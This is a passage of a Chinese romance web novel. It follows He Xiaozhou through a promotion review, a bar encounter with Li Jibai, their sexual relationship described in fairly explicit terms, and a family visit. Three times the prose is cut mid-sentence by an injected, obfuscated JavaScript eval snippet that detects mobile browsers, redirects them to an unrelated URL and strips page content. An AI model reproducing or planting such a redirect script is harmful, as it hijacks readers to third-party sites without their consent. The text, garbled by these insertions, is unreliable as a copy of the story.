何筱舟没有因此感到紧张,正常讲述自己准备的内容。 她着重展示了去年负责两个项目的成果物,针对开发过程中出现问题的应对措施,以及她作为组长在团队中起到的作用。 全程很顺利,如果麦克最后没有突然提问的话。 他没有预兆地用英语发难,“在我看来,你现在的眼光还停留在执行层面,而专家级员工,显然不能这样目光短浅”,要命的是,这人说到最后时,肩膀微微耸起,嘴角也向下撇,真就是电影里看似平和实则眼高于顶又刻薄的领导形象。 好在何筱舟有所准备。 她想到了可能会出现这样的情况,空出时间提前复习了些英文术语,还算是对答如流。 “你们又不是外企,突然用英语交流好奇怪。” 再说起这次评审,已经是周五了。何筱舟下班赶去槐枰街,在乔楠店里喝着冷饮和她聊天,乔楠这样吐槽了一句。 何筱舟学着麦克的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636198|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子耸耸肩,撇下唇角,“我想公司更需要全面型的员工,如果和海外企业合作,难道要先问对方会不会讲中文吗?” 乔楠被她逗笑,“你这算是升职了吗?” “还没确定,下周公布。” 何筱舟认为自己已经全力以赴,什么结果她都能接受。 连续熬了近两周,她就像被抽干了精气一样,浑身疲惫得快要散架。现在只想喝点酒,最好是半醉,然后回家,闷头睡到天昏地暗。 乔楠举着杯子跟她轻轻碰了下,“提前恭喜你啦。” “季惟朋友到了,我们过去吧。” 夜里槐枰街很安静,只有几间工作室还亮着灯。 小径由石板路铺成,两旁竖着落地灯,昏蒙蒙的,像四散在夜空里的星星。 季惟酒吧装修得很赛博朋克,各种神秘幽透的配色,乍一进来,总会有种穿越感。 店里寥寥几桌客人,播着蓝调布鲁斯,季惟正站在吧台里调酒。 旁边站着个身形高大的男生,蓬松的发顶几乎要挨到上方垂下的长条吊灯,而他浑然未觉,微微低头,观察着季惟的动作,很认真的样子。 季惟和她们打招呼,男生跟着抬头。 何筱舟看清男生的脸,脚下滞了一霎,有点摸不清状况。 怎么会是李既白? 他和她一样惊讶,短暂的懵然后,弯起唇,像要跟她问好。 何筱舟打断了他。 她径直坐上吧台前的高脚椅,冲季惟笑了下,然后才把目光转向他,“这位是?” 男生唇角的笑容僵住。 “我来介绍,”季惟放在手中的量杯,“李既白,我学弟,他家是南岸那边的,离珠港很近,你那对耳环就是他在珠港买到的。” “这位是何筱舟,乔楠你见过,我就不多说了,她俩是好姐们。” 李既白盯着何筱舟,心想一定不会有比眼下更荒诞的事了。 她正波澜不惊地朝他伸出手,嘴上说着客套的感谢,但那目光里却分明带着警示意味,明显不想让别人知道他们早已经认识。 配合,还是不配合,李既白还真的思考了几秒。 何筱舟微蹙着眉计算概率,他看起来不是第一次来季惟的酒吧,他们竟从没遇见过。 现在的发展有点超出她的预期,她脑子里一团乱。 直到手被一丛温热包裹,何筱舟才稳下心绪。 男生一手撑着台沿,另只手握住她的,微俯下身,唇角噙着友好的笑,“你好,初次见面,怎么称呼你比较方便?” 季惟把调好的酒推给乔楠,大喇喇道:“跟乔楠一样,喊姐就是了。” 乔楠瞪他一眼:“怎么没见你这么喊过我?” 季惟没搭理。 李既白撤回手,饶有兴味地看着何筱舟,“何姐?舟姐?” 他沉吟了下,像是在认真思考,“不然,叫你筱筱姐?” 何筱舟后颈一凉,总感觉他笑得别有深意。 “行啊,”她当然不落下风,“叫你小白好吗?” “刚跟季惟学了调酒,筱筱姐要不要试试?” “可以啊。” 他直起身,慢条斯理地将衣袖挽到肘部,肌理线条漂亮又有力量感,和清逸的白色衬衫极有种反差。 摇杯的动作透着点生疏,但他神情泰然,很自若的模样。 高口杯里搁了冰块,淡粉与晶蓝两种颜色的酒液绕过透亮的冰块逐渐交融、互相浸染。 何筱舟半信半疑地喝了一口,差点被酸掉舌头。 这家伙,放了多少柠檬汁。 “味道怎么样,筱筱姐?” 起初何筱舟以为他是不熟悉配方,直到她抬眼,撞上他恶作剧得逞般的笑容,才反应过来他可能是故意的。 偏偏旁边的季惟和乔楠这时也看向她。 何筱舟竭力抑制住泛酸冒出的生理性泪意,牙齿打颤,“还不错。” “是吗?我尝尝。”乔楠作势要拿她的杯子。 “季惟不是给你调了吗?” 何筱舟瞟见男生唇角愈发浓厚的笑,幽幽望着他喝下一口,“走了,去吃饭。” 季惟没喝酒,开车载他们去了市区一家日料店。 乔楠坐副驾,何筱舟跟李既白坐后排。 车是G63,哪里都好,后排空间有点小,尤其旁边的李既白,长腿无处安放,稍稍侧着坐,脸朝向她这边。 何筱舟莫名有点局促,落了车窗,手肘撑在窗沿上吹风,却仍能感觉到男生若有似无落在她身上的目光。 车内只有季惟和乔楠的交谈声。 他旁敲侧击问起乔楠在美国留学时候的事,可能还没打探到她喜欢的人是谁,曲线迂回一下。 俩人说得热闹,何筱舟却无心听,一直在避免与李既白直接的眼神接触,饭吃得心不在焉。 之前何筱舟拜托乔楠帮忙留意,预付了一笔钱,那天取耳环时乔楠已经把多出的部分退了回来,所以现在是钱货两讫的状态,这顿饭更多是为表达谢意。 乔楠和季惟充分发挥社牛本事,拉着她和李既白天南海北地聊了两个多小时。 吃完已近十点,何筱舟去买了单,几人在餐厅门口道别。 季惟本要送她回家,何筱舟推辞了,说是反方向,自己打车回就行。 乔楠叮嘱她记得发车牌号,到家报备一声,何筱舟一一应下,目送车子驶出露天停车场,卸下肩上的托特包提在手里,沉沉地松了口气。 网约车停在路边,何筱舟核对过车牌号,上了车。 还没报手机尾号,另一侧车门被打开,紧接着,车身一沉,有人提着背包坐进来。 是去而复返的李既白。 他动作太快,带进来一股凉风,混着熟悉的草木气息。 何筱舟看过去。 李既白闲散地靠着椅背,侧目迎着她的目光,明明在笑,声音听起来却阴恻恻的。 “筱筱姐,聊聊?” 18. 薄雾 何筱舟第一反应是去看车窗外。 李既白猜到她的想法,平声道:“放心吧,他们已经走了。” 距离不远,十多分钟后到达新安社区的巷口。 何筱舟没往家的方向走,打个转,拐进了街角的便利店。 男生跟在她身后。 她暂时没理会,拿了几瓶果酒,付过钱,走到玻璃窗前的长桌旁坐下。 “聊什么?” 她知道李既白会问什么,也想好了怎么回答他。 但没想到,李既白坐下后,竟直接伸手夺了她刚递到嘴边的酒瓶。 何筱舟错愕地望过去,却见他偏头打量着她,很认真地问:“你最近是不是很累?” 何筱舟心头一震,习惯性否认,“……没有啊。” 男生站起身,把酒提在手里,说:“累就回家睡觉,我没事了。” 何筱舟有些懵地同他走出便利店。 “你住那边?” 李既白指了指幽暗巷道深处新安社区大门口亮着的字灯。 “嗯。” 他往巷子里走了几步,看她没跟上,回头说:“走啊。” 何筱舟少见他这么强势,除了某些极端情况,比如那天雨夜高速遇到那辆不规矩的车,又或者是先前被她激怒的时候。 今天可能是因为她在人前装作不认识他。 但他的攻击力仅限于此吗,比如,给她调一杯酸透的酒? 老小区一到晚上就安静得很,何筱舟低头看着他被昏黄路灯拉长的影子,无声笑了。 到社区门口,李既白停在道旁的大树下,不再往里走,“你住哪一栋,几楼?” 何筱舟指靠近路边这栋,“二楼,右边那间。” “上去吧,我等你亮灯了再走。” 她说好,去拿他手里的酒,却被他侧身躲过。 李既白斜睨她,“睡觉,不是喝酒。” 何筱舟说:“我喝点酒睡眠质量会好一些。” 她环抱手臂,指尖有一下没一下地轻敲,“不然我等会再点外卖也一样。” 李既白松开手,几分无奈,“别喝太多。” 何筱舟掏手机看时间,问:“你住哪?” “我刚拿到offer,还在找房子,现在暂时住酒店。” 何筱舟点点头,“那我上去了,你也回吧,注意安全,拜拜。” “再见。” 走出去一段距离,何筱舟下意识回头看了眼。 男生还站在原地,手抄裤兜,身上的白色衬衫被路灯蒙上一层清寂的光。 很不合时宜地,她忽然想起以前林湛送她回宿舍的每一次。 权衡利弊作出决定是瞬间的事。 她走回他面前,说:“要不,你上去坐会儿,帮我喝点?” “不太好吧。” 李既白蹙了蹙眉,旋即,又露出在酒吧时那种揶揄的笑,“毕竟我们初次见面,你说呢,筱筱姐?” 何筱舟勾住他的手臂往楼栋口去,“但不是头一回初次见面了。” 开了门,何筱舟把钥匙往玄关柜上一丢,叮铃一声,很清脆。 李既白认出是他做的那个瓷盘,被她用来搁一些小物件,除了钥匙,还有发圈、发卡之类的。 他想到什么,笑说:“那个四不像小狗,我搁书架上了。” 何筱舟没应,家里没有男士拖鞋,她在想是出去买一趟还是叫外卖。 李既白见状,在APP下了单,暂时坐在门口的换鞋凳上。 他没有四处乱看,面上也没有任何异色,倒让何筱舟有点不好意思,“抱歉啊,我一个人住,东西不全。” “没事。” “你喝点什么?水,还是饮料,冰箱里有乌龙茶。” “不是要喝酒吗?” 何筱舟语塞。 是的,这里没来过异性,尽管是她“拐”他来的,但还是有点无所适从。 “你有想看的电影吗?我在另一间房支了投影。” 李既白这时才顺着她的指向大致观察了下屋内的陈设。 像翻新过,铺着不符合楼栋年代的鱼骨纹木地板,使得整个房子看起来是暖色调的,很舒适温馨的感觉。 厨房设在窗边,餐厅和客厅横通,另一端是面积不小的阳台。 有投影的那间在走廊左侧尽头,隔壁是毛玻璃门,应该是卫生间,走廊右侧大概就是她的卧室。 很方正的格局,空间不算特别大,但五脏俱全。 “都可以,”他扫一眼便收回目光,问:“吃夜宵吗?” “不是刚吃过饭?” 李既白讷然,收起手机。 有种很微妙的尴尬,在狭窄的玄关处蔓延。 好在没有持续太久,外卖很快送达。 何筱舟引他去了那间影音室。 很简单的布置,支架上放着投影仪,旁边是张单人位沙发,前面铺块地毯,摆了一方小矮几。 没有幕布,画面直接投上对侧的白墙。 灯一关,室内的光源就剩下投影仪的幽幽蓝光,以及时明时暗的变幻光影。 她选的是部爱情片,文艺风,整体基调偏阴暗晦涩。 两个人手里各拿瓶酒,默默看电影,谁也没开口说话,连针对剧情的讨论都没有。 中途何筱舟去卫生间,回来时揣着抱枕,跟李既白换了个位置。 他坐进沙发里,她则滑坐到地毯上,将抱枕搁在他膝头,解下发圈,脑袋靠过去。 他很配合地拢住她的长发捋顺,腿放低了些,让她能靠得舒服点。 这么折腾一通,氛围才稍有松缓。 一个多小时的电影看下来,酒也喝完。 果酒度数低,不会醉,但仍有细微的晕眩感。 片尾滚完,李既白轻轻拍了拍何筱舟的肩头,“你回房间睡吧。” 她睁开眼,“播完了?” “嗯。” 李既白开始收拾空酒瓶,“很晚了,你去休息,我走了。” “真走啊?” 何筱舟没起身,看着他从她头顶上方绕过去的手臂,指尖绕着他腕部那块凸出的骨骼打转,“好吧,晚安。” 李既白把酒瓶装进袋子里,搁在地上。 这过程中,她的手指一直悬于他的手腕处,好像那是什么新奇的玩具。 他伸手抬高她的脸,微侧过身,与她被酒精熏染得有些迷离的眼睛对视,“你这是想我走,还是不想?” “三瓶葡萄味,全被你喝了。” “嗯?”李既白猜她可能有点醉了,低笑了声,“你喜欢葡萄味?” “我下次买给你好吗?” “不。” 何筱舟揪住他的衬衫衣领,迫使他低下头,一下一下地轻啄他的唇。 李既白捏着她下巴的手僵了一刹。 这个坐姿和位置实则很别扭。 他反应过来,想要抱起她放于膝上,谁知她挣脱了沉下去,直接枕在他腿上,顺势勾下他的脖颈加深这个吻。 投影光熄灭,完全暗下来的室内一时只剩下舌尖搅缠发出的声响,他们仅凭本能地索取对方,时间好像倏然被拉回两周之前,在陌生的城市,他们的世界里只有彼此。 何筱舟胸口急剧起伏,忽然用了些力控住他的下颚,嘴上也不含糊,几乎是在咬,“你知道那杯酒有多酸吗?” “嘶。” 李既白往后撤了点,拇指刮了下唇边的齿印。 他用另只手捏住她的脸颊,“为什么装不认识我?你带不认识的人回家?” 何筱舟强词夺理,“吃了顿饭,现在认识了。” “这样就算认识了?认识到什么程度?下次见面还会问别人我是谁吗?” “什么程度……” 何筱舟握住他的手,引他隔着布料挨上那片涨潮后滞留下来的潮湿佐证。 “你……” “你不也是?” 黑暗里,她准确捕捉到他同样蓬勃的“物证”。 “我再点个外卖。” “我这里有。” “哦,”李既白松力放开她,“我不会用的。” 气氛有急转直下的趋势。 他起身开了灯,问她:“方便用下洗手间吗,洗个手。” 何筱舟眯眼适应了光线,看着他面无表情的脸,明白过来,嗤笑一声,冷声道:“隔壁。” 延绵不断的漫长水流声惹得她更加烦躁,她重新开了投影,点开音乐软件,随便投了首歌的MV. 没过多久,男生沉稳的脚步声重新响起,越来越近。 何筱舟以为他是落下了什么东西,刚要问,没想到,被他带着浴液香气的微凉手指捧住脸,紧接着,亲吻像是挟着风雨,强势地压下来。 “你不是要走?” 何筱舟撑着他的肩膀,用力推开。 “我没有要走。” 李既白郁闷地亲了亲她的眼角,“你和你前男友的,我有点不想用。” “啊?”何筱舟搞不清他的脑回路,“为什么?” “没原因,就是不想。” “其实那个是……” 她的解释被他新一轮的亲吻堵在唇间。 李既白勾着她的腿弯,侧抱起她坐进沙发里。 吻变得温柔,他的鼻息洒到她耳后、颈间,一点点重新激起潮涌。 迷蒙间,何筱舟后背抵上他温热的胸膛,渐而加快的心跳也被一掌温热承托。 他的手一定洗得很仔细,她闻出那是她的浴液味道。 在播的是那种纯歌手演唱的MV,以当下的状态面对着,她少见的有些羞耻。 所幸已经播到尾声,很快,画面变成纯黑,房间里也安静下来。 不,不算完全安静,有很分明的揉搅水声。 何筱舟仰颈靠在他肩头,鼻间溢出难耐的轻哼。 像蓄满水的池子,受外力波动,到了一定频率,自然会倾泻而出。 “现在我知道,你认识我到什么程度了。” 何筱舟缓过劲,低头看了眼。 他穿黑色长裤,灯光下洇湿的痕迹格外明显。 “可以用你的洗衣机吗?”声音里带有明显的笑意。 “请便。”何筱舟脱下上衣扔过去盖住他的笑眼,回卧室拿了睡衣,走进浴室。 冲洗完,草草吹干头发,她几乎是挨上床就睡着了,过一会,另一侧床垫塌陷下去,李既白带着潮气的胸膛贴上来。 “把你的衣服一起洗了。” 她迷糊着应:“嗯,谢谢。” “何筱舟,烘干要好几个小时,收留我一晚上?” “嗯,”她手一挥捂住他的嘴巴,“闭嘴,睡觉。” 意识彻底消失前,何筱舟听到他低笑了声。 * 没有工作安排的周末,何筱舟通常会关掉闹钟睡到自然醒。但因为工作日习惯早起,所以一般周六也很难睡太久。 而今天,彻底清醒时已经下午一点。 李既白靠坐在床头,正背单词,见她醒来,摘了耳机,问:“饿吗?” 何筱舟有一瞬的恍惚。 她伸手抚了抚他的侧脸,“你饿吗?想吃什么,我叫外卖。” “你平时都吃外卖吗?我看你冰箱里只有饮料。” 男生捋着她的发丝,“想不想吃桂花年糕?” “嗯?” “我会做,”李既白说,“你先起床洗漱,我来叫车,我们去趟超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649145|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市?” “开我车吧。” 何筱舟去年买的车,黑色沃尔沃S60. 但她上班近,不怎么用得上,除了偶尔帮何丽萍运点馄饨店的货,平时基本没开过,停在附近公园的停车场。 如果不是去北江出差那几个月里拜托乔楠帮她保养过一次,现在估计已经落了厚厚一层灰。 不过还是去了趟洗车店,路上随便买了些吃的垫肚子,之后开去江对岸一家大型商超。 李既白列了张清单,大有一副把她的冰箱和厨房都填满的架势。 何筱舟看着各种各样的蔬果装进购物车,心里却涌出一种说不出来的怪异感。 但她没说什么,等着在生鲜区挑完食材,拽着购物车引李既白拐了个道,随手拣了两盒避孕套丢进去,问他:“这个能用了吧?” 周边没什么人,但他耳朵还是唰一下变得通红。 她偏不肯轻易放过,绕过几道货架,指着一排男士内裤,凑到他耳边说:“你昨晚洗了衣服之后没穿是吧,我早上好像感觉到了……” 李既白环视周围,腾出一只手来圈住她的肩膀,反手捂住她喋喋不休的调侃。 一直到结完账,他耳根的血色才渐渐褪去。 到车库,何筱舟扣好安全带,偏眼打量着他。 “你很奇怪,昨天那样是因为我装不认识你,今天跟你这么熟怎么反而害羞?” “不是要这种熟。” 何筱舟手肘撑在扶手箱上,“那要哪种?” “我们在这方面才比较熟,不是吗?” 李既白冷静地看她一眼,忽地倾身,手掌扣住她的后颈,不由分说地吻上她的唇。 等气息平复,他垂首和她的额头相抵,拇指揩去她唇角的水迹。 “确实,我们只在这方面比较熟。”他凉凉地撂下这么一句,发动车子。 被推进沙发深深抵住时,何筱舟指尖一遍遍描过他沁出薄汗的眉眼,在心底喟叹。 这样才对。 一起逛超市这个行为太过于,生活化。 和他同处于那样烟火气十足的地方,哪哪都不自在,就像机缘巧合踏上一辆终点未明的车,轨迹和路线都未知,让她有种难以驾驭的失控感。 李既白察觉她分心,用力一下。 何筱舟轻笑,偏头回应他的吻。 过程比他们之间以往任何一次都要漫长,结束后,何筱舟浑身汗津津的,像刚从水里捞出来一样。 李既白拾起长裤套上,裸着上身去餐桌前给她倒了杯水。回来后,他盘腿坐到沙发前的地毯上,把杯子递来她唇边。 “谢谢。”何筱舟仰起上身就着他的手喝了一口,又躺回去。 等她把那杯水喝完,李既白去找了张薄毯给她,依次拉开客厅和餐厅两侧的窗帘。 黄昏时刻的夕阳便倾洒进来,填满一室暖橙。 李既白穿上衬衫,提着购物袋去了厨房。 他只随意系了几颗扣子,看起来松松垮垮的。 月白色的布料好像能被光线穿透,薄雾似的,绕在他身上,隐约映出他的身形轮廓。 做饭这件事,实则也很生活化。 他站在流理台前,半弯下腰处理食材,偶尔回过头,问一句她的口味偏好。 但,何筱舟在心里投降,桂花年糕不可辜负。 “味道怎么样?” 李既白手撑着餐桌,很认真地看着她。 吊灯冷白的光线之下,他双眼里好像藏着星星。 “好吃,跟桐陵那家餐厅的不相上下。” 他这才笑了笑,坐到她旁边的位置上。 四道菜,荤素兼具。李既白给她添了碗饭,“我每样分出来了点,放冰箱了,你明天可以吃。” 何筱舟应一声,问:“你是,明天走吗?” “嗯,明天上午和中介约了看房。” “好。” 吃完,李既白收拾餐桌,何筱舟去冲了个澡。 她从浴室出来,刚巧他也正往这边走,手上拿着拆开了的安全套包装,还有一些其他的东西,也是下午在超市买的。 何筱舟想了一下,说:“放左边床头柜的抽屉里就行。” 他应了声。 何筱舟倚着衣柜,看他弯腰拉开抽屉,把东西搁进去,大概是注意到什么,关合的动作顿了顿,起身时,耳朵飘起薄红。 “现在知道了吧?” 李既白怔了怔:“什么?” “昨天我说这里有,其实是买那个的时候店家赠送的。” “……” 吮吸款,海豚造型。 起初李既白好奇用法,等她示范之后,他便俯身下去,伏于她膝间,取代它,再由她来评断哪种体验更好。 夜还很长。足够尝试各种不同的解题方法。 * 隔天清早。 何筱舟听到关门声时醒来,床侧的位置已经空了。 餐桌上,李既白留了张字条:走了。 何筱舟笑了笑,捏着那张纸,走去阳台。 男生刚到楼下,整个人沐在晨间的阳光里。 何筱舟静静望着,给他拨了个电话。 “嗨。” 他驻足,似有感应般,抬头看过来,“怎么了?” “你的工作,是双休吗?” “是。” 何筱舟趴在阳台的围栏上,漫不经心问道:“那我们每周末见一面好吗?” 她听见李既白笑了,“所以,之后就是周末才比较熟?” 何筱舟没应答,他也一同沉默,他们隔着段不近的距离遥遥望着对方,尽管看不清彼此的表情。 良久。 他出声,沉沉说了句“好”。 19. 荫蔽 何筱舟单纯觉得这个周末很好,比她坐在社交场合里听人吹水好,也比她一个人窝在家忙工作或者无所事事好。 所以想要延续,想要复刻。 但说不清动机,只是一转念的想法。 明明是她提出的,听到他的回答时,却愣怔了片刻,隔一会才说:“那下周见。” 挂断电话,何筱舟回房间睡了个回笼觉。 醒来吃口东西,等饭点过去,她开车去了趟大学城。 何丽萍的店开在津海大学南门小吃街,路窄,她找地方停好车,走路过去。 刚拐进小道,听见有人叫她,回头一看,是何丽萍正在交往的男友,刘循书。 他是津大的教授,中年丧偶,有个儿子,本人很儒雅,打眼一看就是知识分子。 以上是何丽萍转述给她的,实话讲,初听到的时候,何筱舟以为她被套路进了什么杀猪盘的局。 后来见过几次面才放下心来。 刘循书还没到退休年纪,在津大代冷门的考古学专业,他没什么架子,是个很和蔼的长辈。 但何筱舟每次见他还是会有点拘谨。 她笑了下,跟人打招呼,“刘老师,您吃饭了吗?” “吃过了,过来给你妈妈送块点心。” 是麻薯,用塑料袋装着,可能是学校教工食堂加餐。 何筱舟习以为常,落后半步,跟着他进了店。 “哎,你又带甜的来,老了容易糖尿病。” “他们说这个不甜,你尝尝。” 店里没客人,何丽萍正坐在小隔间里包馄饨,随手接过那个袋子放桌子上,招呼刘循书坐。 见何筱舟也来了,十分稀奇地说:“舟儿,你今儿休息吗?” 何丽萍说话是很典型的津海口音,儿化音忒重。 “是,这不来看看你。” 其实她是想问何丽萍跟刘循书相处的怎么样,要不要考虑结婚,她准备给何丽萍买套房。 但又感觉多余一问,俩人都很自如,看上去就是老夫老妻的状态,不过就是少一道程序而已。 何筱舟站旁边有点不自在,找了张空桌坐着玩手机,一心二用听他俩聊天。 聊店里的生意,聊舞蹈比赛,多是何丽萍在说,刘循书在旁边听得津津有味。 只不过他下午有课,在店里没待多久就走了。 何丽萍目送他离开,拉张椅子坐到何筱舟对面。 开口就是老一套,“舟儿,你刘叔同事的儿子,在国企工作,比你大两岁,你有时间……” 何筱舟打断她,“妈,咱俩没别的好聊的吗?” “你干脆把刘老师儿子介绍给我得了,咱们家喜上加喜。” “去你的,”何丽萍瞪她一眼,口风一转,说,“你以为我没想过。” 何筱舟手机差点掉地上。 “你刘叔儿子有男朋友。” “……?” 何筱舟把手机丢进包里,“你没听错?不是女朋友?” “……刘老师这么开明呢?” “不开明也没办法,被你们这些孩子逼的。” “那你也开明点,别给我介绍对象了,用不着。” “我就这么一个任务没完成了,你结婚了,我对你爸也有个交代。” 这话何筱舟听得耳朵都要起茧子了,没辙。 她拿了包站起来,说:“妈,我已经成年了,工作稳定,收入不错,也有朋友,活得很好,甭管我结不结婚,您对我爸都有交代了。” “我先走了,改天再来看你。” 话掺着说,报喜不报忧是何筱舟的习惯。 她知道,何丽萍也是一样。所以不忙的周末会过来一趟,可基本上每次都是以这样的方式收场。 出了店门,她回头,看见何丽萍正站在门口跟她挥手。 何筱舟恍觉刚才的语气有点生硬,便停下来,温声说:“天儿热,进去吧,我到家给你发微信。” “舟儿,别老熬夜,少吃外卖啊。” 她点点头应下。 * 何筱舟捧着加热好的盒饭在便利店窗前找了个空位,一抬眼,余歆然正从窗边经过,手里提着外带咖啡。 她扬唇一笑,拐进来,走到何筱舟身边,小声说:“升职了就吃这个?” “约了朋友,晚上庆祝。” 是周三上午收到的任命,和预感的一样,职级升到专家,调去CKMP子部门,职位是经理,分管科创板块。 “感觉怎么样?有压力吗?” 何筱舟脑内过一遍这两天看的资料,说:“其实还好,跟之前做的性质差不多,只是源产品不一样。” 现在的主做业务是承接科技型机构或企业的信息管理类项目,这是知界除AI外另一大优势,用成熟的标准信息库产品结合客户需求做衍生软件开发。 “感觉回归传统了,多半都是PC端产品,底层跟AI啊,大模型没什么关系,最多根据客户需要嵌入些智能问答之类的。” 余歆然说:“你做这个,有点大材小用了。” 何筱舟淡笑,“怎么说呢,万变不离其宗。” “你适应能力倒挺强,怎么不试着跳出这个模式,你有能力往上走的。” 搁在桌面上的手机亮了一下,何筱舟看到备注,不动声色地把手机翻转倒扣过去。 “一直向下兼容,只会让人产生心理惰性。” 余歆然多敏锐,看她动作不太自然,语重心长地说了这么一句便走了。 何筱舟当然知道这个道理,但知易行难。 她在这条路上走了太久,以至于产生依赖,她没有绝对的自信保证自己换条赛道或者换个平台就真的能跳出舒适区,收获积极的成果。 味同嚼蜡地吃了两口,她把饭盒丢进垃圾桶,走出便利店,汇入CBD午休期间络绎不绝的人流。 夏日正午的阳光炽烈,但也只能在林立的高楼间洒下那么一小片。 经过时,何筱舟被晃了下眼,连带着字也敲错。 “神马?” 多有年代感的一个词,她握了握拳,想撤回已经来不及。 李既白的回复随即进来,他引用先前发的地址链接,“我找到房子了,住这里,6栋2001。” “所以?” “旁边就是体育馆,周末去打网球吧?” “太远了,还是你明天来我家吧。” 开玩笑,她多久没有高强度运动过了。 “打赌吗,赌注就是你和我去打球。” 何筱舟哧笑,回:“幼稚。” 对方正在输入闪了闪,但男生没再回复。 一整个下午,何筱舟都像是被提溜着悬在半空一样,总觉得有什么事没落听。 赌什么呢,能让他这么笃定?她有点好奇。 但她肯定比他更能沉得住气,也没主动问。 晚上乔楠来公司接她,带她直接去了槐枰街,说是喊了朋友开趴,竟然还提前给她准备了轻礼服和高跟鞋。 何筱舟觉得太浮夸了,不想换。 来之前她以为吃顿饭就完事了,最多开瓶酒。 可乔楠振振有词,“升职可算得上是人生重大节点,得郑重对待,好运才会继续眷顾你。” “当然主要还是因为你的实力啦。” 何筱舟哭笑不得,“你一个喝过洋墨水的人怎么还这么迷信?” 乔楠嗤一声,没理,提起裙子往她身上套。 那是一条黑色长裙,挂脖式,露出大面积后背,乔楠特意选的,很何筱舟风格。 若论长相,其实何筱舟不算是传统审美观念下的美女。 淡颜,乍看有些寡淡,整个人都裹着层疏离。 常素着脸,只填涂眉色和口红,因为极致挺直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671994|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻梁和殷红唇色的加成,便多了些锐利与清傲。 看上去拒人千里,但反而更引人探究。 就如开在悬崖峭壁边上的花,于石缝中默默生长,只是静静伫立在那里,就足够吸引人。 她是冷调的。 也因此这类性感的衣服穿在她身上一点不媚俗,反倒能中和她的孤清气质,添上些独特的风情。 乔楠拉着她在试衣镜前转了一圈,满意极了,勾着她的臂弯下楼,拐去隔壁。 季惟的酒吧今天不对外营业,来人都是他和乔楠的朋友。 和大家打过招呼,何筱舟找了处空位坐着,端杯酒百无聊赖地看旁边那桌热闹地拼酒。 以往也有过类似的party,随便找个什么由头,朋友们聚到一起,吃喝聊天玩游戏,通宵达旦。 何筱舟被乔楠拉着来参加过几次,基本都是陪衬,她从来都不习惯成为焦点。 但今天她是“主角”,显然不行。 只是坐在那里,就接连有人来跟她道贺或是喝酒。 何筱舟一一应付了,视线越过喧嚣,停在角落里的男生身上。 她没想到李既白也在。 他头发剪短了些,整理成侧背的发型,没了刘海,露出峻挺的额头,便好像将鼻梁上端的驼峰衬得愈发明显了些。 他看起来不大适应这样的场合,没有和人交流,只低头玩手机,在五光十色的绚丽灯光里,俊朗的脸被一捧莹白光线照亮,仿佛跟周围人不在一个图层,游离在所有喧闹之外。 何筱舟有点意外,她一直以为他是社牛来着。 过一会,搁在腿边的手机轻震一下。 她往李既白的方向看了一眼,男生也刚好看过来,状似不经意地抬了抬手。 何筱舟没动,继续跟乔楠聊天。 话题不着边际,从俩人的高中聊到乔楠出国那几年隔着时差的“漂流瓶式”网聊,等得空看信息,已经是半小时后,乔楠被季惟抓去补游戏空缺。 “恭喜你。” 这句话今晚听了很多次,何筱舟敲字,“还以为你会说点别的。” 男生回:“比如?” “比如你下午说的打赌。” 她看到男生笑了下。 “有两个。第一个是我们这周会提前见面。” “……这也算?” “这是你在已知结果的情况下给我下套。” “另一个呢?” “你会提前跟我走。” 何筱舟扬眉,手指在这条信息上方停顿了片刻,这倒有点意思。 “你的筹码是?” “没有,我只是猜,你可能不会想一直待在这。” 确实。她不是派对生物,喧燥的音乐听久了鼓膜发疼,便问:“去哪?” “还是算了,乔楠姐昨天就开始在群里招呼人准备了,今天应该属于你们。” 何筱舟望向他。 她看不太清楚他的眼神,但能够想象得到,那双眼睛里此时一定盛满真挚。 一窜而过的负罪感,让她第一次觉得,她单方面把他当作林湛的代替,或许是对他的一种轻渎。 何筱舟略有烦躁地丢开手机。 凌晨散场,朋友们渐次离开,何筱舟推辞了乔楠要叫代驾送她回家的意图,自己叫了辆车。 网约车驶入主路时,何筱舟瞥了眼窗外,李既白刚好也坐进另一辆车。 夜幕之下,两车前后并行了一段距离,她这辆经过路口时停下等灯,后车则掉了个头,往相反的方向开去。 何筱舟目光一转,没什么焦点地落向车窗外快速后退的建筑物上。 另一侧即是海岸线,夜色里黑沉沉的,却好似能听到翻涌的波浪声,如她起伏不定的心绪。 将要右转驶出这段沿海公路时,何筱舟捏着手机,一下一下敲在腿上,说:“师傅,麻烦您,改下终点。” 20. 烈日 李既白隔了片刻才来开门,手里还捏块毛巾,正擦着头发。 见是她,他笑着挑了挑眉,从鞋柜里取出来一双新的女式拖鞋,拆下挂牌搁到她脚边。 何筱舟蹬掉高跟鞋,脚尖轻点了下鞋面,“给我买的?” 